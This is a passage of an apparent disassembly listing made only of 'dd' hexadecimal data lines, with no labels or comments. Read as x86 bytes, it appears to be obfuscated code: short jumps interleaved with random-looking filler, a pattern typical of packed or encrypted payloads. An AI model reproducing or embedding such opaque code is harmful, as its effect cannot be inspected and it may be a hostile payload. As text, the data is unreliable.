		dd 96000000h, 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h, 24BEA5D4h
		dd 581A2BB5h, 61FA8B66h, 81CB8B66h, 0CB16FFD1h,	7E938h
		dd 19F10000h, 742F04F2h, 0E8F08BBEh, 7,	0D361E4E5h, 0E9E4FA6Ah
		dd 9, 0C409E118h, 3BFBA081h, 81665FFEh,	8178CCF7h, 177075F3h
		dd 95C58061h, 6789DE81h, 0C28B3DFAh, 0CE9F8h, 722C0000h
		dd 4FAD12EAh, 0EDD77C8Bh, 3CB9931Ah, 0E93BF0D5h, 0Ch, 877D7F2Ah
		dd 0C8F03105h, 8654FC81h, 8166CE8Bh, 0FFB04EEh,	48Bh, 0BCBB6600h
		dd 12E9E4h, 0E07B0000h,	0AC84D7DDh, 2D50EA48h, 95145223h
		dd 180B0A37h, 28F0F60h,	8B000000h, 10E961CBh, 0D3000000h
		dd 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 0F892DDFDh, 0D5E68166h
		dd 10E8FAh, 0ED430000h,	0F05AF32Eh, 0B6579D3Bh,	0A21D3FB9h
		dd 8B660EDFh, 816659F8h, 666BE2D9h, 60A02CBBh, 12870Fh
		dd 0CE80000h, 0A7000000h, 14354EC3h, 157B8026h,	5AB31F83h
		dd 6890F61h, 81000000h,	0B1E036F2h, 0CE96Bh, 207F0000h
		dd 0C3528007h, 0DCD5784Bh, 0AE81994h, 17000000h, 0B222656h
		dd 0FBE2D070h, 5AEF8AFDh, 5AD98B51h, 8AFBBF0Fh,	0BF66F8CCh
		dd 8A0F42FAh, 4, 615B5060h, 0FF1BF0Fh, 8Ch, 0D38B6600h
		dd 0BE8h, 9DBB7100h, 279544D7h,	12582EF0h, 665EC78Bh, 1AB9F78Bh
		dd 664BABD1h, 668C83B9h, 0B5E569BBh, 66CC809Ah,	1AC08157h
		dd 5E35D0BAh, 0E9CE8B60h, 8, 0E5EAF73Fh, 5BFC2ECCh, 0CB81F961h
		dd 37E5D529h, 81C7BF0Fh, 22B61DF7h, 0F1816657h,	0F58AD41Bh
		dd 4F6897BEh, 0EE85Dh, 5D3F0000h, 0ECDDBF1Bh, 2EAF277Ah
		dd 87D3AC9Dh, 0A1188EBAh, 0E9605A44h, 0Dh, 0B39153BDh
		dd 718327EEh, 0DD8CDB4Eh, 158F0FEBh, 0E9000000h, 10h, 0A229181Ch
		dd 0AC48AEF3h, 51DA354Ch, 60A15833h, 0EFB86661h, 11E914h
		dd 0F4BF0000h, 0FBB422D9h, 6E1F889Fh, 0F7EBFE25h, 0E872F3C6h
		dd 0Ch,	930E5EF0h, 0A73C94D1h, 39951EBEh, 5E9h,	2E0A4000h
		dd 66597152h, 3568EA81h, 0B70F5AB5h, 66FA8AC3h,	0EA6F281h
		dd 0EE9F28Bh, 2F000000h, 3F4EED63h, 84A02498h, 6437EF17h
		dd 0DAC18139h, 0F57578ECh, 0D7815050h, 2442A19h, 0EAB75A59h
		dd 0E8E0EB80h, 8, 3B5FD3C4h, 9BDEE982h,	50F4BB66h, 8B665359h
		dd 0B70F58F1h, 4880FDBh, 66000000h, 0E91654BFh,	9, 0F48B4712h
		dd 0C77B1AC5h, 11DA8108h, 0F29B5C2h, 38Eh, 0D38B6600h
		dd 8BF1B70Fh, 0D3B70FD3h, 878FA9BAh, 48E0F20h, 66000000h
		dd 0E8A8C4BBh, 11h, 1FD6B180h, 0D78EBCECh, 0E4506B3Fh
		dd 0E0EB5122h, 666058ADh, 14EDE081h, 0E850Fh, 8E80000h
		dd 12000000h, 572A5FFCh, 59429AEDh, 8FB96661h, 14E9DEh
		dd 6E740000h, 0E5E77AACh, 33FF6967h, 56C488AEh,	0D37FA0E5h
		dd 12E956E8h, 98000000h, 0A4E51292h, 0B5B76F8Eh, 0F50C65A5h
		dd 6842D954h, 13E95Ch, 31520000h, 0F1B22C27h, 30AE4B59h
		dd 99A681D2h, 2A10C2FBh, 9E982h, 0EA730000h, 1CF5E469h
		dd 0B0164FE2h, 11E872h,	2F7F0000h, 288F2539h, 0CC8B7F08h
		dd 510994h, 0FC186C6Dh,	0DBB8605Fh, 664C0596h, 0FEC9C381h
		dd 0CF0ABE61h, 665331EAh, 537BEB81h, 0D3B70F5Fh, 0E957DE8Ah
		dd 0Ch,	0E8AF1159h, 3D64BB52h, 504693B5h, 0C88B6659h, 0D6908DBEh
		dd 66CF8B77h, 8B7744B8h, 0F0D181D1h, 0B66FB215h, 0E4BF667Dh
		dd 10E8ECh, 0B3150000h,	0DFBC2B92h, 9F8B50B8h, 0B7F46D58h
		dd 0C58091A0h, 39B45F9Dh, 5E9h,	1B0C6300h, 13E891ACh, 3F000000h
		dd 0E9A13368h, 8AB8C973h, 9A7E50C5h, 0F9E6B835h, 0DFB8F120h
		dd 595AF0E8h, 66FFB70Fh, 0A82EC981h, 0C8B0Fh, 880F0000h
		dd 6, 800Fh, 0BE660000h, 8B66F996h, 0CE8D9h, 5F910000h
		dd 0A0030769h, 632AB32Dh, 0BF6622BEh, 0F5822D6h, 680h
		dd 45D38100h, 0E849C909h, 14h, 3A087D06h, 0F1756AF4h, 349BBE9Ah
		dd 6B1316E3h, 79B2C4A4h, 5ED8B70Fh, 66F78B66h, 66A7E8B8h
		dd 0BE57E781h, 0DB37BB66h, 126FB966h, 870Fh, 8B660000h
		dd 14E9C3h, 99070000h, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh
		dd 30526748h, 60F848D6h, 10E9E7B0h, 60000000h, 5E35B8EAh
		dd 0E6EBBF79h, 3557223Ah, 61EDABF3h, 0F8FA8B66h, 12E9h
		dd 71EE5500h, 3B3FA7F3h, 54C64E22h, 3F4746D0h, 5682511Bh
		dd 830F52h, 5B000000h, 80C28A59h, 8166A1D7h, 8BFCB5E8h
		dd 0BE9C2h, 0B9140000h,	0A510A3FDh, 1641DD92h, 28F0F31h
		dd 8B000000h, 2933BFD6h, 0FE97A1Bh, 5000000h, 0B5240BD6h
		dd 0F35A0C74h, 0EC61E7C6h, 81667B1Eh, 60A5E2E3h, 66A0D880h
		dd 3DDFE881h, 11810F61h, 0E8000000h, 5,	0ECF534D5h, 89F68152h
		dd 5B00E790h, 1A830Fh, 13E80000h, 8E000000h, 0CB2FA141h
		dd 0B561EE85h, 0ED4F1F2Fh, 77F89B82h, 58F8BEDCh, 81C2BF0Fh
		dd 0EAA402EAh, 66F98B0Eh, 0E860C28Bh, 13h, 0BAC9523h, 0DB22D68Ah
		dd 4BD4D5A0h, 19F5ABDBh, 0F8CC493Eh, 0B8EF815Bh, 61598AA4h
		dd 88E0Fh, 0F530000h, 88h, 0B8665900h, 890FFF1Ah, 6, 0C3AF681h
		dd 810F36A7h, 13h, 0DE8h, 767FDD00h, 1FBA2F6Ah,	3AF38E60h
		dd 0F5B27ADh, 0FF5D8B7h, 686h, 8F0F00h,	80000000h, 816675F3h
		dd 510980EAh, 0F959D98Bh, 0E93FB460h, 7, 39AB7FE8h, 613102A9h
		dd 11E9h, 1FBB8B00h, 2FB26A7Bh,	40B8EF92h, 75329672h, 8F0FDAC9h
		dd 3, 0FE5F080h, 1784h,	12E900h, 6F050000h, 0DA490484h
		dd 79EE2DBDh, 301B00AFh, 8F58E1B9h, 0BB6666B6h,	8166BC00h
		dd 6604B2E8h, 66F91CB8h, 0BE56D98Bh, 6FC725C2h,	0CABF0F5Eh
		dd 0FF78AF5h, 681h, 880F00h, 0B9000000h, 4013D742h, 8A0F60F8h
		dd 2, 0E7815A50h, 146DF457h, 0FE961h, 87220000h, 1ACAA660h
		dd 5BF13AAh, 1C197339h,	6830FA6h, 0F000000h, 87h, 0CE96000h
		dd 3E000000h, 0FEB3217Fh, 5789B069h, 0FFC54C2h,	28Ah, 615B5600h
		dd 5E851h, 0FBFB0000h, 66EC8334h, 5EAF06BEh, 1CC78058h
		dd 0A7B53EB8h, 0E480530Ah, 8166581Eh, 805FE7DAh, 8166FDD9h
		dd 0F0068C1h, 0FF5F9BFh, 584h, 0EE816600h, 0BF0F516Bh
		dd 13E950C6h, 0A6000000h, 965FD8F8h, 8AEA9A05h,	37C0419Fh
		dd 5330954Fh, 0F59647Ah, 8F0FFFB7h, 5, 8400CBAh, 0F98B6675h
		dd 22FA01B8h, 8166F80Bh, 0FC675CD6h, 0AE9h, 0BFD47900h
		dd 7CA0AC1Ch, 66372C1Ah, 0F63DBBFh, 383h, 9DC68000h, 82BCE081h
		dd 880F4A2Ch, 12h, 0DE9h, 0EE2AE400h, 34EF1E78h, 139BBBC7h
		dd 14E9669Eh, 3F000000h, 343FDAA3h, 74F4EC97h, 88F071ADh
		dd 0A81C9B66h, 8B1C3B41h, 0D88166F2h, 70B631FEh, 10E9h
		dd 2FB26A00h, 40B8EF92h, 75329672h, 1B3DDAC9h, 8E85Fh
		dd 8B5F0000h, 814288ECh, 0B05B33B6h, 0FE9F0h, 0EAB50000h
		dd 0E7FB9CBBh, 0E1A35C5Ch, 0EC076C22h, 7840F44h, 0F000000h
		dd 18Ah, 6660F900h, 5274DEBBh, 810Fh, 615E0000h, 6629F080h
		dd 0A383EE81h, 0E98DDEB8h, 76C9817Ch, 81561AE8h, 829077E9h
		dd 12E906h, 838D0000h, 877BDAD7h, 0C9766C23h, 0A4192B45h
		dd 46676C82h, 14E960h, 5CEC0000h, 8EB9B7D3h, 90FBD76Ah
		dd 847CEA7Ch, 0B90F53B3h, 0BE9FC76h, 0EF000000h, 0FC003A2Ch
		dd 42209425h, 5161E5A9h, 58D1BF0Fh, 0AB50B860h,	8E92CECh
		dd 0F6000000h, 9E3D6FB4h, 61FD7BE8h, 7E9h, 0FD9D1900h
		dd 0EC0D4FBFh, 52DABF0Fh, 0DA816659h, 8B669AD3h, 0C88166FBh
		dd 42B923AFh, 57285991h, 172485BEh, 0F535A7Dh, 38Fh, 15F08000h
		dd 0DFBF0F5Fh, 0F8B96652h, 0FFC5BBFh, 198Eh, 0DE96000h
		dd 0B2000000h, 0FC9B0645h, 352C0B6h, 78B14A3Dh,	52C08166h
		dd 0BA6661F6h, 0F18B5B4Bh, 5C6B29BFh, 0C7D1BA14h, 0CFB96101h
		dd 663D3526h, 8A0FDA8Bh, 4, 674DBF66h, 0C08CCA81h, 0BF0F42F2h
		dd 6890FF2h, 81000000h,	6232FEC8h, 28B0F50h, 0B1000000h
		dd 0D1F280A2h, 1A43B966h, 0BEFEB70Fh, 52600C3Fh, 9E8h
		dd 0D57A0A00h, 0A6D195A6h, 0BB6661A9h, 8158B8D4h, 53A01EC0h
		dd 3BD4801Ah, 0CE5E4BB8h, 0FC36BF17h, 0BF0F3194h, 0D870FC8h
		dd 0E9000000h, 8, 0EC9A8FA7h, 0FD0DC669h, 0FDB866F9h, 37DF80D2h
		dd 0F5D3BF0Fh, 9949EF81h, 0B70F19F2h, 14E8C6h, 254D0000h
		dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h, 0B70FB89Bh
		dd 800F5FDEh, 11h, 0CE9h, 4B5BDA00h, 0A895F7D0h, 0AEFA54C0h
		dd 0CE931h, 8ED70000h, 0F1FD2738h, 0A50B192h, 66F9F6DEh
		dd 20B3F28Bh, 0BE9h, 5455B300h,	32C056F9h, 95894E0Fh, 318CD281h
		dd 8B667C8Dh, 0E880FC7h, 0E9000000h, 9,	47F39113h, 0B3AC7D82h
		dd 0FE9601Bh, 8B000000h, 2E674419h, 0C2A7E0A5h,	4164FF04h
		dd 69BA57DFh, 6148BA3Fh, 58D0F60h, 0BE000000h, 3AD68D68h
		dd 6810Fh, 8F0F0000h, 0
		dd 0A9EBBA61h, 816611DCh, 0F3C92CBh, 380h, 0CF8B6600h
		dd 8F0FD7B0h, 1Ah, 0FE8h, 0EA22BF00h, 4C9D8E62h, 8B30FDB4h
		dd 0BF54DBFh, 777A17BEh, 5E95B44h, 0E1000000h, 11126661h
		dd 8B66D68Bh, 60C18ACFh, 0AE960h, 32750000h, 0F76BB492h
		dd 80C1CC46h, 11E8h, 0B4F12700h, 0A2ACB600h, 1828FF18h
		dd 87250165h, 615A263Dh, 14E9h,	93EE4700h, 74AEC7B1h, 0E971642Fh
		dd 0B5892E23h, 0ACE0A447h, 0E95661A4h, 13h, 0BE1C9152h
		dd 0CBE80E25h, 7C4977Ch, 4B8361F4h, 5F9CACB8h, 89EF8166h
		dd 5E8E2h, 5D130000h, 660D2587h, 5EBB2EB8h, 0F2BF6650h
		dd 11E95F36h, 0E8000000h, 0AF1B6D09h, 43A90852h, 280FBCFBh
		dd 58150E88h, 0FF18B66h, 28Bh, 0E9F9B700h, 0Ah,	3C07BC33h
		dd 80B9E1A8h, 5856C314h, 13EBF181h, 0BF0F181Ch,	0DFBF0FF9h
		dd 0E14675B9h, 8BF6B555h, 0CE8F3h, 0A1FF0000h, 994D9BFDh
		dd 0CF7BE250h, 0BF0F2CC7h, 81665BFBh, 0F02E2E9h, 383h
		dd 0C2B70F00h, 3277B960h, 13E964D8h, 0E6000000h, 265A7117h
		dd 0E979907Eh, 2EE4CC7Bh, 0C681F244h, 0E9619AD5h, 10h
		dd 735290F1h, 0A974C008h, 0DFCD6E37h, 6AD11143h, 66D08B66h
		dd 5760D38Bh, 59F1BF0Fh, 12E861F5h, 16000000h, 6585B015h
		dd 4896682Ch, 21F5C3A4h, 5152CEC9h, 8F0F5AFBh, 3, 80CBBF0Fh
		dd 7E92BDCh, 8F000000h,	10FCDD4Fh, 840FEC44h, 6, 7CADE381h
		dd 8166270Bh, 665461D9h, 8D0FF38Bh, 3, 66F6BF0Fh, 0FC7E18BAh
		dd 0E8CE8B66h, 0Fh, 30C62243h, 20CB4C3Ah, 0DA32CD13h, 5E1C5848h
		dd 8E0FE1B0h, 3, 0E9D68B66h, 10h, 0CA63D6EDh, 0E01F3AB5h
		dd 29921951h, 0F4D90E84h, 661EC080h, 0F1EAD681h, 0F6EF81h
		dd 5E944A9h, 8C000000h,	0C9280640h, 4EBBDA81h, 0C0802666h
		dd 2850F15h, 8B000000h,	7CB3B9D9h, 665267A9h, 58A83EBAh
		dd 0B70FD68Bh, 10E9C7h,	54A40000h, 7E316BAEh, 44386589h
		dd 0A0690E54h, 8B604D13h, 12E952F7h, 2F000000h,	29EC5AF7h
		dd 7F2AB72Eh, 3105877Dh, 0FC81C8F0h, 0E8615B54h, 0Dh, 0EBF114DEh
		dd 0AA096F40h, 222BB820h, 18E0FDEh, 0F9000000h,	10E95Bh
		dd 0D3290000h, 90CBDC12h, 23D44D6Ch, 9F1B7DABh,	0F6062E8h
		dd 48Bh, 0B5BE6600h, 0FE9500Eh,	0D0000000h, 1D4DD75Ch
		dd 0F913CC38h, 43360E4Bh, 6159169Eh, 0B70FA1B3h, 68D0FDEh
		dd 81000000h, 7FAD39F0h, 0FCDA810Eh, 805DD05Eh,	9FB849F1h
		dd 816E12D2h, 84C502EBh, 8B666003h, 0D0D681DAh,	611DECDBh
		dd 6927BB66h, 3DC88166h, 0E8606084h, 12h, 787A6F1Bh, 2FAA6E4Ah
		dd 0BCF3387Ah, 8AF10547h, 0E95FBAF4h, 5, 9AA63082h, 8F0F614Dh
		dd 6, 3B4FEF81h, 566111F9h, 815EF18Ah, 0B2332E6h, 8BFEB25Ah
		dd 0E95350CEh, 0Ah, 0D896F804h,	0A16D1FDDh, 5B59FF63h
		dd 5469BE66h, 3860Fh, 0D8800000h, 81666014h, 0F2273E2h
		dd 8Eh,	0CE96100h, 56000000h, 3BCE10A6h, 4C5302C3h, 0B6011E92h
		dd 5830F73h, 0B8000000h, 796894F5h, 11E9h, 605F1200h, 9254BCEh
		dd 2811C860h, 26DF8A2Ah, 0BA66D029h, 6660BC82h,	0F61D68Bh
		dd 88Eh, 28A0F00h, 57000000h, 7E85Bh, 0DB380000h, 0E06846h
		dd 0C2B70F22h, 5E85Bh, 0D9510000h, 0E88D91A5h, 9, 85D0A927h
		dd 59051F45h, 58616087h, 5E95Fh, 89510000h, 0E8FD2326h
		dd 11h,	1EEA96FAh, 37A9069h, 0FD78A3A5h, 0F2E4E02Ch, 0DE816661h
		dd 815EAB3Dh, 1AD707D2h, 0CE90Fh, 49100000h, 0EE55C9Eh
		dd 0A7E3D3A8h, 0C98187EFh, 9660593h, 0E98166F5h, 0B70FBEBBh
		dd 57B966DEh, 7E8F2h, 5D2D0000h, 4763E9B1h, 0FAB45AB2h
		dd 0BC52D881h, 8B6609D5h, 8E8C1h, 0D5430000h, 0C54D275h
		dd 800FDEBAh, 3, 5FCBB70Fh, 0B45356B4h,	880F5EEEh, 3, 0B8D0B70Fh
		dd 38815A3Fh, 6820Fh, 0C7810000h, 532AE566h, 13E8h, 68F4B000h
		dd 54DD37AEh, 342F44A1h, 785ED287h, 39E1286Eh, 0FE921ABFh
		dd 0E6805B61h, 2FD18036h, 11E9h, 2018FD00h, 0B6D40AA6h
		dd 324B2D08h, 65116F18h, 0BF668330h, 840F1F63h,	3, 0E9F7B70Fh
		dd 0Eh,	989D42CCh, 0A0228DF2h, 0E99C91D2h, 8B66E860h, 0C08166C2h
		dd 0FF915EAh, 889h, 28A0F00h, 60000000h, 0E964B261h, 0Eh
		dd 0A4F7A934h, 507CB6D0h, 58EA802Fh, 0FE973CEh,	0F0000000h
		dd 0CFE5FF8Bh, 0DB006F01h, 79BB1D4Eh, 49B7EE32h, 8DE18166h
		dd 3AD08136h, 0F4E97A8h, 1089h,	5E800h,	68B50000h, 662D3F89h
		dd 4283D881h, 8FBF665Eh, 0D181663Bh, 5953C695h,	0FDE8B66h
		dd 28Ch, 0FFA8B00h, 8B66D2BFh, 11E8D6h,	6C1B0000h, 0CA87DC2Eh
		dd 69331021h, 1F3BBA93h, 66BE18FBh, 5A4EDDB8h, 1840F50h
		dd 0F5000000h, 0CE9F958h, 0C9000000h, 69EA73F4h, 0E21CF5E4h
		dd 66E7164Fh, 265DC381h, 3AD180F9h, 0AE8h, 0ACFCB900h
		dd 0F4A34180h, 0F3603DDh, 128Bh, 0DE900h, 80100000h, 8FD21EC5h
		dd 3FEFEF1Fh, 5FF16E33h, 0FE9h,	994CD000h, 0BC4AF6F1h
		dd 51A077CCh, 909A6B59h, 66D3BF0Fh, 8099D5BBh, 8B661BE6h
		dd 616060D7h, 61DF8B66h, 3840Fh, 0B70F0000h, 0FD58AF3h
		dd 0E9F5CEBFh, 0Dh, 94A25B2h, 71ECC27Fh, 58C7CB81h, 8E985h
		dd 0F9B70000h, 0D61715A7h, 8BF966F5h, 0CFB70FFEh, 66DBBF0Fh
		dd 8B0FF98Bh, 5, 9BE18166h, 0FC51B6B8h,	8AF8DF8Bh, 28C0FD7h
		dd 53000000h, 6628B15Bh, 0B8A9FBBAh, 4F51C10Ah,	6870Fh
		dd 0E2810000h, 7E34E6A2h, 81CB8B66h, 0C8D41DE9h, 0CA815032h
		dd 36D494D7h, 0F425B958h, 8F0F1CE7h, 2,	6EB953B0h, 5121D0DBh
		dd 0F487B866h, 0AE95Fh,	382C0000h, 7A110AA5h, 6CC78F8Ah
		dd 0B5D88166h, 0D6BF0F1Fh, 8BFA8B66h, 0C88160C2h, 50AD61F4h
		dd 14E9h, 0CACA7600h, 25B8FA96h, 4493D358h, 6A6948C1h
		dd 772FDD28h, 0BA66610Dh, 8166DFE3h, 0BF7C5DF0h, 587050C8h
		dd 3830Fh, 0BF0F0000h, 0F0B70FD3h, 0EE9h, 980A1200h, 0C9DABD09h
		dd 0FE53F11h, 0BE7403BBh, 232DBC91h, 5E9h, 96D32D00h, 0FE97751h
		dd 66000000h, 0E635B0E5h, 69CA5FDCh, 0F9E7CE84h, 89B8F4F7h
		dd 0F4B3CE6h, 586h, 0F171BA00h,	840F15FAh, 6, 2433EE81h
		dd 5F502C4Dh, 0DA4FBE66h, 58B0Fh, 81660000h, 0E8EAEAC1h
		dd 13h,	1738DEF4h, 4E708943h, 7EBF6664h, 7E813A0Fh, 0FAC8A59h
		dd 83h,	50F85A00h, 59C1B70Fh, 0D5AEB866h, 616073B6h, 0E343BB66h
		dd 12E950h, 49E40000h, 811541FAh, 88381987h, 0A988F9BEh
		dd 427C28C3h, 0C3BF0F5Ah, 1F820Fh, 13E80000h, 2A000000h
		dd 776DED50h, 9E6C6BBBh, 54EB4589h, 0E1B86A7h, 800F6546h
		dd 0
		dd 0E181665Eh, 0B4F9DB58h, 8B665237h, 6DB65AF0h, 0E8D88B66h
		dd 6, 2CB9053Fh, 11E8135Ch, 95000000h, 61D6EB0Fh, 70D628CDh
		dd 3C58E8B5h, 0A5A04B8Bh, 5E9h,	2EEBE700h, 585A7561h, 13E853h
		dd 53710000h, 0D1E50125h, 0FD06FFD6h, 68B15A5Ah, 39DDBAA5h
		dd 0B0D181DBh, 59673DEAh, 66CF8B58h, 8166CA8Bh,	0B283C0EEh
		dd 860F9Ch, 80000000h, 0A9BBEED1h, 810F5B29h, 6FC642C3h
		dd 0C9BF0F62h, 5E960h, 68FE0000h, 0F923F08h, 483h, 0B5BE6600h
		dd 0EE8161E4h, 2A8A91DAh, 82C6D981h, 0F606226h,	481h, 28BA6600h
		dd 14E830h, 5F010000h, 80C8B959h, 7EC5204Dh, 805396B5h
		dd 0ACF3A82Eh, 8E89249h, 6D000000h, 9240181Dh, 596132EAh
		dd 0FF5615Fh, 0FF5F6BFh, 38Bh, 0CE8B6600h, 1DB15F51h, 11E8h
		dd 13007700h, 81BDA6ADh, 23F73E9Fh, 2AA7B85Ch, 6653CE4Fh
		dd 5A59F28Bh, 8166A8B2h, 0E9D7F5EFh, 11h, 3C7CC2EFh, 8C63404Fh
		dd 79F76425h, 8E91436h,	168E0F66h, 0E9000000h, 11h, 0BC30F84Eh
		dd 78557F12h, 761CC9AFh, 11934E39h, 0E0816641h,	8B0F69C5h
		dd 16h,	0AE8h, 0DF687B00h, 155A86B4h, 0FCCFECCh, 81h, 0FC535B00h
		dd 0D3B70F5Fh, 14E960h,	577D0000h, 446FF16h, 900E1D33h
		dd 2668DCE9h, 0C615749Ch, 0F613421h, 1888h, 10E85300h
		dd 0E7000000h, 85BF937Ch, 0DB989C6Ah, 0C6A62466h, 5FD8C07Ch
		dd 0F78B665Fh, 0E98CDD80h, 0Dh,	70F089C3h, 9550E2CFh, 0E8A2DC5Bh
		dd 0FEF7818Fh, 0E90A981Bh, 7, 0C794DFBh, 60240E29h, 0EE9C38Ah
		dd 89000000h, 1AA508BEh, 0BA388B5Bh, 546DB872h,	13E861B1h
		dd 5A000000h, 5471490Dh, 8141EEA5h, 4F505C3Bh, 7C637014h
		dd 0F51804Fh, 87h, 0B6595F00h, 66515216h, 5E5FCA8Bh, 8BBFDD80h
		dd 54CDBEDAh, 0B70F2DF4h, 0F38B66C7h, 3880Fh, 0B70F0000h
		dd 0BDF680D3h, 8FC4B866h, 0C3B70F60h, 61D8B70Fh, 81CF8B66h
		dd 0EF39EAE9h, 0C1B96661h, 0F3B70F62h, 8B34B866h, 8B3CE180h
		dd 0FF28BC6h, 85h, 0C0BB6600h, 28A0F8Ah, 8B000000h, 0F6056C6h
		dd 82h,	61616000h, 666CB55Fh, 0F81DDF81h, 0EE8h, 304E8400h
		dd 13681F32h, 3E9D2075h, 0E942D8E5h, 6,	0EC04399Ch, 0F590533h
		dd 54B9D6B7h, 0BB5EFB63h, 5AAD7E44h, 9E9h, 0E2744300h
		dd 0DD86677h, 0F50EB4Fh, 684h, 8A0F00h,	5E000000h, 9E9h
		dd 0B782B100h, 42AE4D6Eh, 85B5AEB7h, 0DC38166h,	0FBF667Ah
		dd 840F57C5h, 5, 0E8C38166h, 8B665FABh,	6EB966C1h, 0E980FC03h
		dd 8BCF8A21h, 6E8C3h, 33100000h, 3BBA9369h, 815F5360h
		dd 5F4BF9C2h, 0E85A6106h, 8, 4CCFFAD7h,	3E56BFCEh, 576C65B8h
		dd 0F381594Ah, 0FD40C3h, 0AE8h,	93C61700h, 0BFD99B29h
		dd 0E8ED8C8Bh, 0Ah, 88BA2EE2h, 0F562BB50h, 6160794Ah, 8C0F585Ah
		dd 0Dh,	8E9h, 0B7DAEB00h, 0C8C40A36h, 66D08B25h, 0B70FFA8Bh
		dd 8E9CAh, 3E1D0000h, 0AEE61765h, 8B664765h, 800FF2h, 66000000h
		dd 81AEDDB9h, 52DCCBC1h, 2850F14h, 0B7000000h, 0FDB866FFh
		dd 1AE681D8h, 81354C5Eh, 0F786AE7h, 0EBC3817Dh,	0B1700D2Eh
		dd 9205B850h, 0F9606F7Fh, 0CECF8166h, 0BA6661D0h, 0BF0FCB51h
		dd 9C95B8FEh, 0FE9544Dh, 6A000000h, 9047214Bh, 1F8F5A8h
		dd 20078042h, 0BF0F3A3Fh, 12E9F9h, 44D70000h, 2EF02795h
		dd 94E31258h, 49A77F6h,	0BBC66F17h, 7E8h, 9CB63000h, 84B5B424h
		dd 0DE9h, 0CCB77000h, 773C44E0h, 88A07890h, 0F591536h
		dd 580h, 0D6816600h, 8B66B103h,	0EE9F3h, 66EC0000h, 999A8A77h
		dd 1AAF7307h, 8A19D9DDh, 1E820Fh, 0E9600000h, 11h, 5A930976h
		dd 0E63C4590h, 1BF32575h, 4B2013E5h, 810F67h, 61000000h
		dd 61CFBA66h, 37D08166h, 63F180E5h, 0D2BF0F50h,	5EF5575Fh
		dd 13E9h, 35DCC400h, 0F859EC6Ah, 0FC12B395h, 0ED572A5Fh
		dd 756B429Ah, 6890Fh, 8E0F0000h, 0
		dd 0CE9h, 0C6BBE400h, 3891B6FFh, 82437AD0h, 0A4BA60A1h
		dd 61421572h, 0B866D38Bh, 8B666F06h, 0FE8FBh, 0C3470000h
		dd 5B2D98AEh, 0B14B5A74h, 656A048Fh, 12E99Bh, 36FB0000h
		dd 647C4AB6h, 4D2F93ECh, 43376465h, 0A6138369h,	0AE95Ah
		dd 0EBF30000h, 8204670Ah, 7462880Ch, 1870Fh, 0FF50000h
		dd 48Fh, 38B55000h, 0C1816658h,	0CE81A4A2h, 74D9C35Dh
		dd 6E8h, 70BDCF00h, 0E9E71352h,	0Eh, 6A0058DCh,	3E32A989h
		dd 25CCEAACh, 665FCEA4h, 0D950C781h, 13E8h, 48E4C600h
		dd 0B2B5B2h, 21190EC4h,	0E7521C85h, 6E57458Dh, 0F5EF78Bh
		dd 382h, 0F78B6600h, 0EE9h, 2025D000h, 780F8C6Dh, 9BF55D09h
		dd 0F9D87C5h, 98Fh, 38C0F00h, 80000000h, 0C9818CE0h, 7B90A00Dh
		dd 3DCCBE66h, 0E9C78B60h, 7, 0DD90026Eh, 61EEDC47h, 48A0Fh
		dd 51530000h, 0F7815F5Ah, 55F07D48h, 11E9CE8Bh,	3F000000h
		dd 83962596h, 592AC196h, 58CAAC9Eh, 0DAE867AEh,	0E860DA8Bh
		dd 12h,	72BFB30h, 3A8B8D25h, 0FEE7FD95h, 0CF2DC435h, 850F8539h
		dd 0
		dd 52F86159h, 0F3816652h, 5F5E0373h, 38C0Fh, 8B660000h
		dd 0F1BF0FC7h, 0C8B70FFCh, 0FDBBF0Fh, 8166D8B7h, 0B70E19E3h
		dd 0EE860h, 48B40000h, 0E3DBC3E2h, 70A39D2Fh, 62D9B458h
		dd 59CF8B66h, 4E13B966h, 0C5CE6CBBh, 0E2816631h, 8166825Ah
		dd 0F8F43F1h, 0E8FCF1BFh, 0Eh, 52D2132Fh, 0FB4ED10Dh, 0E1BDC699h
		dd 0B70F30B4h, 0B9665FD8h, 0F38B1845h, 81A7C180h, 7D3950CEh
		dd 58F0F6Eh, 66000000h,	9FB0C081h, 9E8h, 0C59A800h, 96B35909h
		dd 8B5E8B71h, 14E8DEh, 9AA80000h, 67702BFh, 0F8024625h
		dd 0F426D0F4h, 248AC176h, 0DE80124Ah, 17BB5E3Dh, 66787125h
		dd 80C3A2B8h, 8B0FF2F3h, 0
		dd 12E9h, 43514A00h, 0EA6C57E3h, 0BD1DF00Ch, 0F31FC306h
		dd 0E906D1F5h, 6, 0C9A193DEh, 5060634Eh, 0BCC88166h, 0BF0F586Ah
		dd 0BA6661CEh, 0A4B98165h, 0E96BA7A5h, 6, 929CC49Eh, 41BF764Eh
		dd 662239C5h, 0E2F2CB81h, 15880Fh, 9E80000h, 64000000h
		dd 80E9FC24h, 0A0C692E4h, 3511D081h, 0F8584FA5h, 194433BEh
		dd 5045B21Fh, 0E85B62B2h, 13h, 0AD5DF18Eh, 9A42E3C0h, 69AA961h
		dd 66B2AB22h, 0E9F45BADh, 0Bh, 0E4CF8259h, 7CB9B5C3h, 59AEF67Dh
		dd 66D78B66h, 0BE66C68Bh, 0E953E58Ah, 13h, 97E25488h, 4921751Ah
		dd 0C47AB3FDh, 0E72F0D38h, 5A2F8B40h, 5F83B551h, 0DE952h
		dd 0C1470000h, 0EE1D53E9h, 24FD4069h, 593B6877h, 66D3BF0Fh
		dd 0F921F381h, 6E8h, 8A392A00h,	0F5E9228Ch, 0BE859h, 92620000h
		dd 0BC0F90C4h, 0F18ADC43h, 0ADC68101h, 5B583229h, 8B66D38Bh
		dd 0F38B66F2h, 0FE8h, 6D024D00h, 0D1B81666h, 0EB50D833h
		dd 0BC5FFE31h, 58D6BF0Fh, 6850Fh, 800F0000h, 0
		dd 0FFEBF0Fh, 8C0FFFB7h, 16h, 0EE8h, 3055A700h,	74F61393h
		dd 5E5C89F7h, 8B408742h, 2ABA59DAh, 0B1255F32h,	0D18B6673h
		dd 80C78B66h, 0AE98BCFh, 75000000h, 21276C42h, 9D9627CBh
		dd 0FEBF0F84h, 1CBCCF81h, 0BF0F6F2Eh, 9E953D6h,	43000000h
		dd 0D1239AB4h, 1D17684h, 0EE959h, 0A9150000h, 53158BB6h
		dd 0D01BE089h, 0D28372A7h, 6830Fh, 0CA810000h, 5DD6B02Eh
		dd 0F38B6060h, 750DCB81h, 80611B6Ch, 806136E9h,	8166D8D2h
